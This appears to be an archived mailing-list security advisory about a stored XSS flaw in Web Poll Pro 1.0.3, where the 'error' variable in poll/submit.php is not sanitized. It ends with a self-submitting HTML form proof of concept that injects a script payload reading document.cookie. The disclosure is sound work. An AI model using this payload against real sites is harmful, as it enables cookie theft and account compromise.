[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

XSS vulnerability in Web Poll Pro



Product: Web Poll Pro
Vendor: http://www.got.my
Vulnerable Version: 1.0.3 and probably prior versions
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: Hector.x90

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "poll/submit.php" script to 
properly sanitize user-supplied input in "error" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/poll/poll.php&page=edit"; method="post" name="main">
<input type="hidden" name="poll" value="1">
<input type="hidden" name="error" 
value='description"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>